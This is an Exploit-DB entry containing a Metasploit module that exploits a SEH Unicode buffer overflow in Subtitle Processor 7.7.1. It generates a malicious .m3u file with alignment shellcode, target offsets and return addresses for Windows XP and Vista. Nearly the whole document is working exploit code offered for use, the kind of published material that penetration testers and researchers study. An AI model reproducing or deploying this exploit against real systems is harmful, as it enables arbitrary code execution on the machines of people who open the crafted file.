Exploit-DB #17225
Description: Subtitle Processor 7.7.1 - '.m3u' File Buffer Overflow (SEH Unicode) (Metasploit)
Type: local
Platform: windows
Date: 2011-04-28
Author: Metasploit

Exploit:
##
# $Id: subtitle_processor_m3u_bof.rb 12461 2011-04-28 08:12:32Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Subtitle Processor 7.  By
				supplying a long string of data as a .m3u file, Subtitle Processor first converts
				this input in Unicode, which expands the string size, and then attempts to copy it
				inline on the stack.  This results a buffer overflow with SEH overwritten, allowing
				arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12461 $",
			'Author'         =>
				[
					'Brandon Murphy',  #Initial discovery, poc
					'sinn3r',          #Metasploit
				],
			'References'     =>
				[
					[ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17217/' ],
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
					'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
					'BufferRegister'  => 'ECX',
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3',
						{
							'Nop'    => 0x43,    #ADD BYTE PTR DS:[EBX],AL
							'Offset' => 4078,    #Offset to SEH chain
							'Ret'    => 0x57b4,  #Unicode compatible P/P/R (Subtitle.exe)
							'Max'    => 5000,    #Max buffer size
						},
					],
					[
						'Windows Vista SP0',
						{
							'Nop'    => 0x40,    #ADD BYTE PTR DS:[EAX],AL
							'Offset' => 4078,    #Offset to SEH chain
							'Ret'    => 0x57b4,  #Unicode compatible P/P/R (Subtitle.exe)
							'Max'    => 5000,    #Max buffer size
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 26 2011" ))

			register_options(
				[
					OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
				], self.class)
	end

	def get_unicode_payload(p)
		encoder = framework.encoders.create("x86/unicode_mixed")
		encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
		unicode_payload = encoder.encode(p, nil, nil, platform)
		return unicode_payload
	end

	def exploit

		#NOP between each instruction
		nop = target['Nop']

		sploit = ''

		#Create the exploit
		if target.name =~ /XP/

			#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
			alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
			tmp = alignment << payload.encoded
			p = get_unicode_payload(tmp)

			#4050 bytes for shellcode
			sploit << rand_text_alpha(2)  #Padding
			sploit << p
			sploit << rand_text_alpha(target['Offset']-sploit.length)
			sploit << "\x61"
			sploit << nop
			sploit << [target.ret].pack('V*')
			sploit << nop
			sploit << "\x61"  #POPAD
			sploit << nop
			sploit << "\x61"  #POPAD
			sploit << nop
			sploit << "\x61"  #POPAD
			sploit << nop
			sploit << "\x51"  #PUSH ECX (for x86/unicode_mixed)
			sploit << nop
			sploit << "\x5e"  #POP ESI (for AlphanumMixed BufferRegister=ECX)
			sploit << nop
			sploit << "\x51"  #PUSH ECX
			sploit << nop
			sploit << "\xc3"  #RETN
			sploit << rand_text_alpha(target['Max']-sploit.length)

		elsif target.name =~ /Vista/

			# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
			alignment  = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
			tmp = alignment << payload.encoded
			p = get_unicode_payload(tmp)

			#4008 bytes of space for shellcode
			sploit << rand_text_alpha(62)
			sploit << p
			sploit << rand_text_alpha(target['Offset']-sploit.length)
			sploit << "\x61"
			sploit << nop
			sploit << [target.ret].pack('V*')
			sploit << nop
			sploit << "\x61"
			sploit << nop
			sploit << "\x61"
			sploit << nop
			sploit << "\x5e"
			sploit << nop
			sploit << "\x5e"
			sploit << nop
			sploit << "\x5e"
			sploit << nop
			sploit << "\x5e"
			sploit << nop
			sploit << "\x56"
			sploit << nop
			sploit << "\x59"
			sploit << nop
			sploit << "\x56"
			sploit << nop
			sploit << "\xc3"
			sploit << nop
			sploit << rand_text_alpha(target['Max']-sploit.length)

		end

		#Generate file
		print_status("Creating #{datastore['FILENAME']}...")
		file_create(sploit)

	end
end